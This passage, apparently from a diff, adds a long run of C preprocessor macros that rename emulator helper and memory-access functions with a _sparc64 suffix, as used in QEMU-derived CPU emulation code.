helper_iwmmxt_unpacklw helper_iwmmxt_unpacklw_sparc64 +#define helper_ldb_cmmu helper_ldb_cmmu_sparc64 +#define helper_ldb_mmu helper_ldb_mmu_sparc64 +#define helper_ldl_cmmu helper_ldl_cmmu_sparc64 +#define helper_ldl_mmu helper_ldl_mmu_sparc64 +#define helper_ldq_cmmu helper_ldq_cmmu_sparc64 +#define helper_ldq_mmu helper_ldq_mmu_sparc64 +#define helper_ldw_cmmu helper_ldw_cmmu_sparc64 +#define helper_ldw_mmu helper_ldw_mmu_sparc64 +#define helper_le_ldl_cmmu helper_le_ldl_cmmu_sparc64 +#define helper_le_ldq_cmmu helper_le_ldq_cmmu_sparc64 +#define helper_le_ldq_mmu helper_le_ldq_mmu_sparc64 +#define helper_le_ldsl_mmu helper_le_ldsl_mmu_sparc64 +#define helper_le_ldsw_mmu helper_le_ldsw_mmu_sparc64 +#define helper_le_ldul_mmu helper_le_ldul_mmu_sparc64 +#define helper_le_lduw_mmu helper_le_lduw_mmu_sparc64 +#define helper_le_ldw_cmmu helper_le_ldw_cmmu_sparc64 +#define helper_le_stl_mmu helper_le_stl_mmu_sparc64 +#define helper_le_stq_mmu helper_le_stq_mmu_sparc64 +#define helper_le_stw_mmu helper_le_stw_mmu_sparc64 +#define helper_msr_i_pstate helper_msr_i_pstate_sparc64 +#define helper_neon_abd_f32 helper_neon_abd_f32_sparc64 +#define helper_neon_abdl_s16 helper_neon_abdl_s16_sparc64 +#define helper_neon_abdl_s32 helper_neon_abdl_s32_sparc64 +#define helper_neon_abdl_s64 helper_neon_abdl_s64_sparc64 +#define helper_neon_abdl_u16 helper_neon_abdl_u16_sparc64 +#define helper_neon_abdl_u32 helper_neon_abdl_u32_sparc64 +#define helper_neon_abdl_u64 helper_neon_abdl_u64_sparc64 +#define helper_neon_abd_s16 helper_neon_abd_s16_sparc64 +#define helper_neon_abd_s32 helper_neon_abd_s32_sparc64 +#define helper_neon_abd_s8 helper_neon_abd_s8_sparc64 +#define helper_neon_abd_u16 helper_neon_abd_u16_sparc64 +#define helper_neon_abd_u32 helper_neon_abd_u32_sparc64 +#define helper_neon_abd_u8 helper_neon_abd_u8_sparc64 +#define helper_neon_abs_s16 helper_neon_abs_s16_sparc64 +#define helper_neon_abs_s8 helper_neon_abs_s8_sparc64 +#define helper_neon_acge_f32 helper_neon_acge_f32_sparc64 +#define helper_neon_acge_f64 helper_neon_acge_f64_sparc64 +#define helper_neon_acgt_f32 helper_neon_acgt_f32_sparc64 +#define helper_neon_acgt_f64 helper_neon_acgt_f64_sparc64 +#define helper_neon_addl_saturate_s32 helper_neon_addl_saturate_s32_sparc64 +#define helper_neon_addl_saturate_s64 helper_neon_addl_saturate_s64_sparc64 +#define helper_neon_addl_u16 helper_neon_addl_u16_sparc64 +#define helper_neon_addl_u32 helper_neon_addl_u32_sparc64 +#define helper_neon_add_u16 helper_neon_add_u16_sparc64 +#define helper_neon_add_u8 helper_neon_add_u8_sparc64 +#define helper_neon_ceq_f32 helper_neon_ceq_f32_sparc64 +#define helper_neon_ceq_u16 helper_neon_ceq_u16_sparc64 +#define helper_neon_ceq_u32 helper_neon_ceq_u32_sparc64 +#define helper_neon_ceq_u8 helper_neon_ceq_u8_sparc64 +#define helper_neon_cge_f32 helper_neon_cge_f32_sparc64 +#define helper_neon_cge_s16 helper_neon_cge_s16_sparc64 +#define helper_neon_cge_s32 helper_neon_cge_s32_sparc64 +#define helper_neon_cge_s8 helper_neon_cge_s8_sparc64 +#define helper_neon_cge_u16 helper_neon_cge_u16_sparc64 +#define helper_neon_cge_u32 helper_neon_cge_u32_sparc64 +#define helper_neon_cge_u8 helper_neon_cge_u8_sparc64 +#define helper_neon_cgt_f32 helper_neon_cgt_f32_sparc64 +#define helper_neon_cgt_s16 helper_neon_cgt_s16_sparc64 +#define helper_neon_cgt_s32 helper_neon_cgt_s32_sparc64 +#define helper_neon_cgt_s8 helper_neon_cgt_s8_sparc64 +#define helper_neon_cgt_u16 helper_neon_cgt_u16_sparc64 +#define helper_neon_cgt_u32 helper_neon_cgt_u32_sparc64 +#define helper_neon_cgt_u8 helper_neon_cgt_u8_sparc64 +#define helper_neon_cls_s16 helper_neon_cls_s16_sparc64 +#define helper_neon_cls_s32 helper_neon_cls_s32_sparc64 +#define helper_neon_cls_s8 helper_neon_cls_s8_sparc64 +#define helper_neon_clz_u16 helper_neon_clz_u16_sparc64 +#define helper_neon_clz_u8 helper_neon_clz_u8_sparc64 +#define helper_neon_cnt_u8 helper_neon_cnt_u8_sparc64 +#define helper_neon_fcvt_f16_to_f32 helper_neon_fcvt_f16_to_f32_sparc64 +#define helper_neon_fcvt_f32_to_f16 helper_neon_fcvt_f32_to_f16_sparc64 +#define helper_neon_hadd_s16 helper_neon_hadd_s16_sparc64 +#define helper_neon_hadd_s32 helper_neon_hadd_s32_sparc64 +#define helper_neon_hadd_s8 helper_neon_hadd_s8_sparc64 +#define helper_neon_hadd_u16 helper_neon_hadd_u16_sparc64 +#define helper_neon_hadd_u32 helper_neon_hadd_u32_sparc64 +#define helper_neon_hadd_u8 helper_neon_hadd_u8_sparc64 +#define helper_neon_hsub_s16 helper_neon_hsub_s16_sparc64 +#define helper_neon_hsub_s32 helper_neon_hsub_s32_sparc64 +#define helper_neon_hsub_s8 helper_neon_hsub_s8_sparc64 +#define helper_neon_hsub_u16 helper_neon_hsub_u16_sparc64 +#define helper_neon_hsub_u32 helper_neon_hsub_u32_sparc64 +#define helper_neon_hsub_u8 helper_neon_hsub_u8_sparc64 +#define helper_neon_max_s16 helper_neon_max_s16_sparc64 +#define helper_neon_max_s32 helper_neon_max_s32_sparc64 +#define helper_neon_max_s8 helper_neon_max_s8_sparc64 +#define helper_neon_max_u16 helper_neon_max_u16_sparc64 +#define helper_neon_max_u32 helper_neon_max_u32_sparc64 +#define helper_neon_max_u8 helper_neon_max_u8_sparc64 +#define helper_neon_min_s16 helper_neon_min_s16_sparc64 +#define helper_neon_min_s32 helper_neon_min_s32_sparc64 +#define helper_neon_min_s8 helper_neon_min_s8_sparc64 +#define helper_neon_min_u16 helper_neon_min_u16_sparc64 +#define helper_neon_min_u32 helper_neon_min_u32_sparc64 +#define helper_neon_min_u8 helper_neon_min_u8_sparc64 +#define helper_neon_mull_p8 helper_neon_mull_p8_sparc64 +#define helper_neon_mull_s16 helper_neon_mull_s16_sparc64 +#define helper_neon_mull_s8 helper_neon_mull_s8_sparc64 +#define helper_neon_mull_u16 helper_neon_mull_u16_sparc64 +#define helper_neon_mull_u8 helper_neon_mull_u8_sparc64 +#define helper_neon_mul_p8 helper_neon_mul_p8_sparc64 +#define helper_neon_mul_u16 helper_neon_mul_u16_sparc64 +#define helper_neon_mul_u8 helper_neon_mul_u8_sparc64 +#define helper_neon_narrow_high_u16 helper_neon_narrow_high_u16_sparc64 +#define helper_neon_narrow_high_u8 helper_neon_narrow_high_u8_sparc64 +#define helper_neon_narrow_round_high_u16 helper_neon_narrow_round_high_u16_sparc64 +#define helper_neon_narrow_round_high_u8 helper_neon_narrow_round_high_u8_sparc64 +#define helper_neon_narrow_sat_s16 helper_neon_narrow_sat_s16_sparc64 +#define helper_neon_narrow_sat_s32 helper_neon_narrow_sat_s32_sparc64 +#define helper_neon_narrow_sat_s8 helper_neon_narrow_sat_s8_sparc64 +#define helper_neon_narrow_sat_u16 helper_neon_narrow_sat_u16_sparc64 +#define helper_neon_narrow_sat_u32 helper_neon_narrow_sat_u32_sparc64 +#define helper_neon_narrow_sat_u8 helper_neon_narrow_sat_u8_sparc64 +#define helper_neon_narrow_u16 helper_neon_narrow_u16_sparc64 +#define helper_neon_narrow_u8 helper_neon_narrow_u8_sparc64 +#define helper_neon_negl_u16 helper_neon_negl_u16_sparc64 +#define helper_neon_negl_u32 helper_neon_negl_u32_sparc64 +#define helper_neon_paddl_u16 helper_neon_paddl_u16_sparc64 +#define helper_neon_paddl_u32 helper_neon_paddl_u32_sparc64 +#define helper_neon_padd_u16 helper_neon_padd_u16_sparc64 +#define helper_neon_padd_u8 helper_neon_padd_u8_sparc64 +#define helper_neon_pmax_s16 helper_neon_pmax_s16_sparc64 +#define helper_neon_pmax_s8 helper_neon_pmax_s8_sparc64 +#define helper_neon_pmax_u16 helper_neon_pmax_u16_sparc64 +#define helper_neon_pmax_u8 helper_neon_pmax_u8_sparc64 +#define helper_neon_pmin_s16 helper_neon_pmin_s16_sparc64 +#define helper_neon_pmin_s8 helper_neon_pmin_s8_sparc64 +#define helper_neon_pmin_u16 helper_neon_pmin_u16_sparc64 +#define helper_neon_pmin_u8 helper_neon_pmin_u8_sparc64 +#define helper_neon_pmull_64_hi helper_neon_pmull_64_hi_sparc64 +#define helper_neon_pmull_64_lo helper_neon_pmull_64_lo_sparc64 +#define helper_neon_qabs_s16 helper_neon_qabs_s16_sparc64 +#define helper_neon_qabs_s32 helper_neon_qabs_s32_sparc64 +#define helper_neon_qabs_s64 helper_neon_qabs_s64_sparc64 +#define helper_neon_qabs_s8 helper_neon_qabs_s8_sparc64 +#define helper_neon_qadd_s16 helper_neon_qadd_s16_sparc64 +#define helper_neon_qadd_s32 helper_neon_qadd_s32_sparc64 +#define helper_neon_qadd_s64 helper_neon_qadd_s64_sparc64 +#define helper_neon_qadd_s8 helper_neon_qadd_s8_sparc64 +#define helper_neon_qadd_u16 helper_neon_qadd_u16_sparc64 +#define helper_neon_qadd_u32 helper_neon_qadd_u32_sparc64 +#define helper_neon_qadd_u64 helper_neon_qadd_u64_sparc64 +#define helper_neon_qadd_u8 helper_neon_qadd_u8_sparc64 +#define helper_neon_qdmulh_s16 helper_neon_qdmulh_s16_sparc64 +#define helper_neon_qdmulh_s32 helper_neon_qdmulh_s32_sparc64 +#define helper_neon_qneg_s16 helper_neon_qneg_s16_sparc64 +#define helper_neon_qneg_s32 helper_neon_qneg_s32_sparc64 +#define helper_neon_qneg_s64 helper_neon_qneg_s64_sparc64 +#define helper_neon_qneg_s8 helper_neon_qneg_s8_sparc64 +#define helper_neon_qrdmulh_s16 helper_neon_qrdmulh_s16_sparc64 +#define helper_neon_qrdmulh_s32 helper_neon_qrdmulh_s32_sparc64 +#define helper_neon_qrshl_s16 helper_neon_qrshl_s16_sparc64 +#define helper_neon_qrshl_s32 helper_neon_qrshl_s32_sparc64 +#define helper_neon_qrshl_s64 helper_neon_qrshl_s64_sparc64 +#define helper_neon_qrshl_s8 helper_neon_qrshl_s8_sparc64 +#define helper_neon_qrshl_u16 helper_neon_qrshl_u16_sparc64 +#define helper_neon_qrshl_u32 helper_neon_qrshl_u32_sparc64 +#define helper_neon_qrshl_u64 helper_neon_qrshl_u64_sparc64 +#define helper_neon_qrshl_u8 helper_neon_qrshl_u8_sparc64 +#define helper_neon_qshl_s16 helper_neon_qshl_s16_sparc64 +#define helper_neon_qshl_s32 helper_neon_qshl_s32_sparc64 +#define helper_neon_qshl_s64 helper_neon_qshl_s64_sparc64 +#define helper_neon_qshl_s8 helper_neon_qshl_s8_sparc64 +#define helper_neon_qshl_u16 helper_neon_qshl_u16_sparc64 +#define helper_neon_qshl_u32 helper_neon_qshl_u32_sparc64 +#define helper_neon_qshl_u64 helper_neon_qshl_u64_sparc64 +#define helper_neon_qshl_u8 helper_neon_qshl_u8_sparc64 +#define helper_neon_qshlu_s16 helper_neon_qshlu_s16_sparc64 +#define helper_neon_qshlu_s32 helper_neon_qshlu_s32_sparc64 +#define helper_neon_qshlu_s64 helper_neon_qshlu_s64_sparc64 +#define helper_neon_qshlu_s8 helper_neon_qshlu_s8_sparc64 +#define helper_neon_qsub_s16 helper_neon_qsub_s16_sparc64 +#define helper_neon_qsub_s32 helper_neon_qsub_s32_sparc64 +#define helper_neon_qsub_s64 helper_neon_qsub_s64_sparc64 +#define helper_neon_qsub_s8 helper_neon_qsub_s8_sparc64 +#define helper_neon_qsub_u16 helper_neon_qsub_u16_sparc64 +#define helper_neon_qsub_u32 helper_neon_qsub_u32_sparc64 +#define helper_neon_qsub_u64 helper_neon_qsub_u64_sparc64 +#define helper_neon_qsub_u8 helper_neon_qsub_u8_sparc64 +#define helper_neon_qunzip16 helper_neon_qunzip16_sparc64 +#define helper_neon_qunzip32 helper_neon_qunzip32_sparc64 +#define helper_neon_qunzip8 helper_neon_qunzip8_sparc64 +#define helper_neon_qzip16 helper_neon_qzip16_sparc64 +#define helper_neon_qzip32 helper_neon_qzip32_sparc64 +#define helper_neon_qzip8 helper_neon_qzip8_sparc64 +#define helper_neon_rbit_u8 helper_neon_rbit_u8_sparc64 +#define helper_neon_rhadd_s16 helper_neon_rhadd_s16_sparc64 +#define helper_neon_rhadd_s32 helper_neon_rhadd_s32_sparc64 +#define helper_neon_rhadd_s8 helper_neon_rhadd_s8_sparc64 +#define helper_neon_rhadd_u16 helper_neon_rhadd_u16_sparc64 +#define helper_neon_rhadd_u32 helper_neon_rhadd_u32_sparc64 +#define helper_neon_rhadd_u8 helper_neon_rhadd_u8_sparc64 +#define helper_neon_rshl_s16 helper_neon_rshl_s16_sparc64 +#define helper_neon_rshl_s32 helper_neon_rshl_s32_sparc64 +#define helper_neon_rshl_s64 helper_neon_rshl_s64_sparc64 +#define helper_neon_rshl_s8 helper_neon_rshl_s8_sparc64 +#define helper_neon_rshl_u16 helper_neon_rshl_u16_sparc64 +#define helper_neon_rshl_u32 helper_neon_rshl_u32_sparc64 +#define helper_neon_rshl_u64 helper_neon_rshl_u64_sparc64 +#define helper_neon_rshl_u8 helper_neon_rshl_u8_sparc64 +#define helper_neon_shl_s16 helper_neon_shl_s16_sparc64 +#define helper_neon_shl_s32 helper_neon_shl_s32_sparc64 +#define helper_neon_shl_s64 helper_neon_shl_s64_sparc64 +#define helper_neon_shl_s8 helper_neon_shl_s8_sparc64 +#define helper_neon_shl_u16 helper_neon_shl_u16_sparc64 +#define helper_neon_shl_u32 helper_neon_shl_u32_sparc64 +#define helper_neon_shl_u64 helper_neon_shl_u64_sparc64 +#define helper_neon_shl_u8 helper_neon_shl_u8_sparc64 +#define helper_neon_sqadd_u16 helper_neon_sqadd_u16_sparc64 +#define helper_neon_sqadd_u32 helper_neon_sqadd_u32_sparc64 +#define helper_neon_sqadd_u64 helper_neon_sqadd_u64_sparc64 +#define helper_neon_sqadd_u8 helper_neon_sqadd_u8_sparc64 +#define helper_neon_subl_u16 helper_neon_subl_u16_sparc64 +#define helper_neon_subl_u32 helper_neon_subl_u32_sparc64 +#define helper_neon_sub_u16 helper_neon_sub_u16_sparc64 +#define helper_neon_sub_u8 helper_neon_sub_u8_sparc64 +#define helper_neon_tbl helper_neon_tbl_sparc64 +#define helper_neon_tst_u16 helper_neon_tst_u16_sparc64 +#define helper_neon_tst_u32 helper_neon_tst_u32_sparc64 +#define helper_neon_tst_u8 helper_neon_tst_u8_sparc64 +#define helper_neon_unarrow_sat16 helper_neon_unarrow_sat16_sparc64 +#define helper_neon_unarrow_sat32 helper_neon_unarrow_sat32_sparc64 +#define helper_neon_unarrow_sat8 helper_neon_unarrow_sat8_sparc64 +#define helper_neon_unzip16 helper_neon_unzip16_sparc64 +#define helper_neon_unzip8 helper_neon_unzip8_sparc64 +#define helper_neon_uqadd_s16 helper_neon_uqadd_s16_sparc64 +#define helper_neon_uqadd_s32 helper_neon_uqadd_s32_sparc64 +#define helper_neon_uqadd_s64 helper_neon_uqadd_s64_sparc64 +#define helper_neon_uqadd_s8 helper_neon_uqadd_s8_sparc64 +#define helper_neon_widen_s16 helper_neon_widen_s16_sparc64 +#define helper_neon_widen_s8 helper_neon_widen_s8_sparc64 +#define helper_neon_widen_u16 helper_neon_widen_u16_sparc64 +#define helper_neon_widen_u8 helper_neon_widen_u8_sparc64 +#define helper_neon_zip16 helper_neon_zip16_sparc64 +#define helper_neon_zip8 helper_neon_zip8_sparc64 +#define helper_pre_hvc helper_pre_hvc_sparc64 +#define helper_pre_smc helper_pre_smc_sparc64 +#define helper_qadd16 helper_qadd16_sparc64 +#define helper_qadd8 helper_qadd8_sparc64 +#define helper_qaddsubx helper_qaddsubx_sparc64 +#define helper_qsub16 helper_qsub16_sparc64 +#define helper_qsub8 helper_qsub8_sparc64 +#define helper_qsubaddx helper_qsubaddx_sparc64 +#define helper_rbit helper_rbit_sparc64 +#define helper_recpe_f32 helper_recpe_f32_sparc64 +#define helper_recpe_f64 helper_recpe_f64_sparc64 +#define helper_recpe_u32 helper_recpe_u32_sparc64 +#define helper_recps_f32 helper_recps_f32_sparc64 +#define helper_ret_ldb_cmmu helper_ret_ldb_cmmu_sparc64 +#define helper_ret_ldsb_mmu helper_ret_ldsb_mmu_sparc64 +#define helper_ret_ldub_mmu helper_ret_ldub_mmu_sparc64 +#define helper_ret_stb_mmu helper_ret_stb_mmu_sparc64 +#define helper_rintd helper_rintd_sparc64 +#define helper_rintd_exact helper_rintd_exact_sparc64 +#define helper_rints helper_rints_sparc64 +#define helper_rints_exact helper_rints_exact_sparc64 +#define helper_ror_cc helper_ror_cc_sparc64 +#define helper_rsqrte_f32 helper_rsqrte_f32_sparc64 +#define helper_rsqrte_f64 helper_rsqrte_f64_sparc64 +#define helper_rsqrte_u32 helper_rsqrte_u32_sparc64 +#define helper_rsqrts_f32 helper_rsqrts_f32_sparc64 +#define helper_sadd16 helper_sadd16_sparc64 +#define helper_sadd8 helper_sadd8_sparc64 +#define helper_saddsubx helper_saddsubx_sparc64 +#define helper_sar_cc helper_sar_cc_sparc64 +#define helper_sdiv helper_sdiv_sparc64 +#define helper_sel_flags helper_sel_flags_sparc64 +#define helper_set_cp_reg helper_set_cp_reg_sparc64 +#define helper_set_cp_reg64 helper_set_cp_reg64_sparc64 +#define helper_set_neon_rmode helper_set_neon_rmode_sparc64 +#define helper_set_r13_banked helper_set_r13_banked_sparc64 +#define helper_set_rmode helper_set_rmode_sparc64 +#define helper_set_user_reg helper_set_user_reg_sparc64 +#define helper_shadd16 helper_shadd16_sparc64 +#define helper_shadd8 helper_shadd8_sparc64 +#define helper_shaddsubx helper_shaddsubx_sparc64 +#define helper_shl_cc helper_shl_cc_sparc64 +#define helper_shr_cc helper_shr_cc_sparc64 +#define helper_shsub16 helper_shsub16_sparc64 +#define helper_shsub8 helper_shsub8_sparc64 +#define helper_shsubaddx helper_shsubaddx_sparc64 +#define helper_ssat helper_ssat_sparc64 +#define helper_ssat16 helper_ssat16_sparc64 +#define helper_ssub16 helper_ssub16_sparc64 +#define helper_ssub8 helper_ssub8_sparc64 +#define helper_ssubaddx helper_ssubaddx_sparc64 +#define helper_stb_mmu helper_stb_mmu_sparc64 +#define helper_stl_mmu helper_stl_mmu_sparc64 +#define helper_stq_mmu helper_stq_mmu_sparc64 +#define helper_stw_mmu helper_stw_mmu_sparc64 +#define helper_sub_saturate helper_sub_saturate_sparc64 +#define helper_sub_usaturate helper_sub_usaturate_sparc64 +#define helper_sxtb16 helper_sxtb16_sparc64 +#define helper_uadd16 helper_uadd16_sparc64 +#define helper_uadd8 helper_uadd8_sparc64 +#define helper_uaddsubx helper_uaddsubx_sparc64 +#define helper_udiv helper_udiv_sparc64 +#define helper_uhadd16 helper_uhadd16_sparc64 +#define helper_uhadd8 helper_uhadd8_sparc64 +#define helper_uhaddsubx helper_uhaddsubx_sparc64 +#define helper_uhsub16 helper_uhsub16_sparc64 +#define helper_uhsub8 helper_uhsub8_sparc64 +#define helper_uhsubaddx helper_uhsubaddx_sparc64 +#define helper_uqadd16 helper_uqadd16_sparc64 +#define helper_uqadd8 helper_uqadd8_sparc64 +#define helper_uqaddsubx helper_uqaddsubx_sparc64 +#define helper_uqsub16 helper_uqsub16_sparc64 +#define helper_uqsub8 helper_uqsub8_sparc64 +#define helper_uqsubaddx helper_uqsubaddx_sparc64 +#define helper_usad8 helper_usad8_sparc64 +#define helper_usat helper_usat_sparc64 +#define helper_usat16 helper_usat16_sparc64 +#define helper_usub16 helper_usub16_sparc64 +#define helper_usub8 helper_usub8_sparc64 +#define helper_usubaddx helper_usubaddx_sparc64 +#define helper_uxtb16 helper_uxtb16_sparc64 +#define helper_v7m_mrs helper_v7m_mrs_sparc64 +#define helper_v7m_msr helper_v7m_msr_sparc64 +#define helper_vfp_absd helper_vfp_absd_sparc64 +#define helper_vfp_abss helper_vfp_abss_sparc64 +#define helper_vfp_addd helper_vfp_addd_sparc64 +#define helper_vfp_adds helper_vfp_adds_sparc64 +#define helper_vfp_cmpd helper_vfp_cmpd_sparc64 +#define helper_vfp_cmped helper_vfp_cmped_sparc64 +#define helper_vfp_cmpes helper_vfp_cmpes_sparc64 +#define helper_vfp_cmps helper_vfp_cmps_sparc64 +#define helper_vfp_divd helper_vfp_divd_sparc64 +#define helper_vfp_divs helper_vfp_divs_sparc64 +#define helper_vfp_fcvtds helper_vfp_fcvtds_sparc64 +#define helper_vfp_fcvt_f16_to_f32 helper_vfp_fcvt_f16_to_f32_sparc64 +#define helper_vfp_fcvt_f16_to_f64 helper_vfp_fcvt_f16_to_f64_sparc64 +#define helper_vfp_fcvt_f32_to_f16 helper_vfp_fcvt_f32_to_f16_sparc64 +#define helper_vfp_fcvt_f64_to_f16 helper_vfp_fcvt_f64_to_f16_sparc64 +#define helper_vfp_fcvtsd helper_vfp_fcvtsd_sparc64 +#define helper_vfp_get_fpscr helper_vfp_get_fpscr_sparc64 +#define helper_vfp_maxd helper_vfp_maxd_sparc64 +#define helper_vfp_maxnumd helper_vfp_maxnumd_sparc64 +#define helper_vfp_maxnums helper_vfp_maxnums_sparc64 +#define helper_vfp_maxs helper_vfp_maxs_sparc64 +#define helper_vfp_mind helper_vfp_mind_sparc64 +#define helper_vfp_minnumd helper_vfp_minnumd_sparc64 +#define helper_vfp_minnums helper_vfp_minnums_sparc64 +#define helper_vfp_mins helper_vfp_mins_sparc64 +#define helper_vfp_muladdd helper_vfp_muladdd_sparc64 +#define helper_vfp_muladds helper_vfp_muladds_sparc64 +#define helper_vfp_muld helper_vfp_muld_sparc64 +#define helper_vfp_muls helper_vfp_muls_sparc64 +#define helper_vfp_negd helper_vfp_negd_sparc64 +#define helper_vfp_negs helper_vfp_negs_sparc64 +#define helper_vfp_set_fpscr helper_vfp_set_fpscr_sparc64 +#define helper_vfp_shtod helper_vfp_shtod_sparc64 +#define helper_vfp_shtos helper_vfp_shtos_sparc64 +#define helper_vfp_sitod helper_vfp_sitod_sparc64 +#define helper_vfp_sitos helper_vfp_sitos_sparc64 +#define helper_vfp_sltod helper_vfp_sltod_sparc64 +#define helper_vfp_sltos helper_vfp_sltos_sparc64 +#define helper_vfp_sqrtd helper_vfp_sqrtd_sparc64 +#define helper_vfp_sqrts helper_vfp_sqrts_sparc64 +#define helper_vfp_sqtod helper_vfp_sqtod_sparc64 +#define helper_vfp_sqtos helper_vfp_sqtos_sparc64 +#define helper_vfp_subd helper_vfp_subd_sparc64 +#define helper_vfp_subs helper_vfp_subs_sparc64 +#define helper_vfp_toshd helper_vfp_toshd_sparc64 +#define helper_vfp_toshd_round_to_zero helper_vfp_toshd_round_to_zero_sparc64 +#define helper_vfp_toshs helper_vfp_toshs_sparc64 +#define helper_vfp_toshs_round_to_zero helper_vfp_toshs_round_to_zero_sparc64 +#define helper_vfp_tosid helper_vfp_tosid_sparc64 +#define helper_vfp_tosis helper_vfp_tosis_sparc64 +#define helper_vfp_tosizd helper_vfp_tosizd_sparc64 +#define helper_vfp_tosizs helper_vfp_tosizs_sparc64 +#define helper_vfp_tosld helper_vfp_tosld_sparc64 +#define helper_vfp_tosld_round_to_zero helper_vfp_tosld_round_to_zero_sparc64 +#define helper_vfp_tosls helper_vfp_tosls_sparc64 +#define helper_vfp_tosls_round_to_zero helper_vfp_tosls_round_to_zero_sparc64 +#define helper_vfp_tosqd helper_vfp_tosqd_sparc64 +#define helper_vfp_tosqs helper_vfp_tosqs_sparc64 +#define helper_vfp_touhd helper_vfp_touhd_sparc64 +#define helper_vfp_touhd_round_to_zero helper_vfp_touhd_round_to_zero_sparc64 +#define helper_vfp_touhs helper_vfp_touhs_sparc64 +#define helper_vfp_touhs_round_to_zero helper_vfp_touhs_round_to_zero_sparc64 +#define helper_vfp_touid helper_vfp_touid_sparc64 +#define helper_vfp_touis helper_vfp_touis_sparc64 +#define helper_vfp_touizd helper_vfp_touizd_sparc64 +#define helper_vfp_touizs helper_vfp_touizs_sparc64 +#define helper_vfp_tould helper_vfp_tould_sparc64 +#define helper_vfp_tould_round_to_zero helper_vfp_tould_round_to_zero_sparc64 +#define helper_vfp_touls helper_vfp_touls_sparc64 +#define helper_vfp_touls_round_to_zero helper_vfp_touls_round_to_zero_sparc64 +#define helper_vfp_touqd helper_vfp_touqd_sparc64 +#define helper_vfp_touqs helper_vfp_touqs_sparc64 +#define helper_vfp_uhtod helper_vfp_uhtod_sparc64 +#define helper_vfp_uhtos helper_vfp_uhtos_sparc64 +#define helper_vfp_uitod helper_vfp_uitod_sparc64 +#define helper_vfp_uitos helper_vfp_uitos_sparc64 +#define helper_vfp_ultod helper_vfp_ultod_sparc64 +#define helper_vfp_ultos helper_vfp_ultos_sparc64 +#define helper_vfp_uqtod helper_vfp_uqtod_sparc64 +#define helper_vfp_uqtos helper_vfp_uqtos_sparc64 +#define helper_wfe helper_wfe_sparc64 +#define helper_wfi helper_wfi_sparc64 +#define hex2decimal hex2decimal_sparc64 +#define hw_breakpoint_update hw_breakpoint_update_sparc64 +#define hw_breakpoint_update_all hw_breakpoint_update_all_sparc64 +#define hw_watchpoint_update hw_watchpoint_update_sparc64 +#define hw_watchpoint_update_all hw_watchpoint_update_all_sparc64 +#define _init _init_sparc64 +#define init_cpreg_list init_cpreg_list_sparc64 +#define init_lists init_lists_sparc64 +#define input_type_enum input_type_enum_sparc64 +#define int128_2_64 int128_2_64_sparc64 +#define int128_add int128_add_sparc64 +#define int128_addto int128_addto_sparc64 +#define int128_and int128_and_sparc64 +#define int128_eq int128_eq_sparc64 +#define int128_ge int128_ge_sparc64 +#define int128_get64 int128_get64_sparc64 +#define int128_gt int128_gt_sparc64 +#define int128_le int128_le_sparc64 +#define int128_lt int128_lt_sparc64 +#define int128_make64 int128_make64_sparc64 +#define int128_max int128_max_sparc64 +#define int128_min int128_min_sparc64 +#define int128_ne int128_ne_sparc64 +#define int128_neg int128_neg_sparc64 +#define int128_nz int128_nz_sparc64 +#define int128_rshift int128_rshift_sparc64 +#define int128_sub int128_sub_sparc64 +#define int128_subfrom int128_subfrom_sparc64 +#define int128_zero int128_zero_sparc64 +#define int16_to_float32 int16_to_float32_sparc64 +#define int16_to_float64 int16_to_float64_sparc64 +#define int32_to_float128 int32_to_float128_sparc64 +#define int32_to_float32 int32_to_float32_sparc64 +#define int32_to_float64 int32_to_float64_sparc64 +#define int32_to_floatx80 int32_to_floatx80_sparc64 +#define int64_to_float128 int64_to_float128_sparc64 +#define int64_to_float32 int64_to_float32_sparc64 +#define int64_to_float64 int64_to_float64_sparc64 +#define int64_to_floatx80 int64_to_floatx80_sparc64 +#define invalidate_and_set_dirty invalidate_and_set_dirty_sparc64 +#define invalidate_page_bitmap invalidate_page_bitmap_sparc64 +#define io_mem_read io_mem_read_sparc64 +#define io_mem_write io_mem_write_sparc64 +#define io_readb io_readb_sparc64 +#define io_readl io_readl_sparc64 +#define io_readq io_readq_sparc64 +#define io_readw io_readw_sparc64 +#define iotlb_to_region iotlb_to_region_sparc64 +#define io_writeb io_writeb_sparc64 +#define io_writel io_writel_sparc64 +#define io_writeq io_writeq_sparc64 +#define io_writew io_writew_sparc64 +#define is_a64 is_a64_sparc64 +#define is_help_option is_help_option_sparc64 +#define isr_read isr_read_sparc64 +#define is_valid_option_list is_valid_option_list_sparc64 +#define iwmmxt_load_creg iwmmxt_load_creg_sparc64 +#define iwmmxt_load_reg iwmmxt_load_reg_sparc64 +#define iwmmxt_store_creg iwmmxt_store_creg_sparc64 +#define iwmmxt_store_reg iwmmxt_store_reg_sparc64 +#define __jit_debug_descriptor __jit_debug_descriptor_sparc64 +#define __jit_debug_register_code __jit_debug_register_code_sparc64 +#define kvm_to_cpreg_id kvm_to_cpreg_id_sparc64 +#define last_ram_offset last_ram_offset_sparc64 +#define ldl_be_p ldl_be_p_sparc64 +#define ldl_be_phys ldl_be_phys_sparc64 +#define ldl_he_p ldl_he_p_sparc64 +#define ldl_le_p ldl_le_p_sparc64 +#define ldl_le_phys ldl_le_phys_sparc64 +#define ldl_phys ldl_phys_sparc64 +#define ldl_phys_internal ldl_phys_internal_sparc64 +#define ldq_be_p ldq_be_p_sparc64 +#define ldq_be_phys ldq_be_phys_sparc64 +#define ldq_he_p ldq_he_p_sparc64 +#define ldq_le_p ldq_le_p_sparc64 +#define ldq_le_phys ldq_le_phys_sparc64 +#define ldq_phys ldq_phys_sparc64 +#define ldq_phys_internal ldq_phys_internal_sparc64 +#define ldst_name ldst_name_sparc64 +#define ldub_p ldub_p_sparc64 +#define ldub_phys ldub_phys_sparc64 +#define lduw_be_p lduw_be_p_sparc64 +#define lduw_be_phys lduw_be_phys_sparc64 +#define lduw_he_p lduw_he_p_sparc64 +#define lduw_le_p lduw_le_p_sparc64 +#define lduw_le_phys lduw_le_phys_sparc64 +#define lduw_phys lduw_phys_sparc64 +#define lduw_phys_internal lduw_phys_internal_sparc64 +#define le128 le128_sparc64 +#define linked_bp_matches linked_bp_matches_sparc64 +#define listener_add_address_space listener_add_address_space_sparc64 +#define load_cpu_offset load_cpu_offset_sparc64 +#define load_reg load_reg_sparc64 +#define load_reg_var load_reg_var_sparc64 +#define log_cpu_state log_cpu_state_sparc64 +#define lpae_cp_reginfo lpae_cp_reginfo_sparc64 +#define lt128 lt128_sparc64 +#define machine_class_init machine_class_init_sparc64 +#define machine_finalize machine_finalize_sparc64 +#define machine_info machine_info_sparc64 +#define machine_initfn machine_initfn_sparc64 +#define machine_register_types 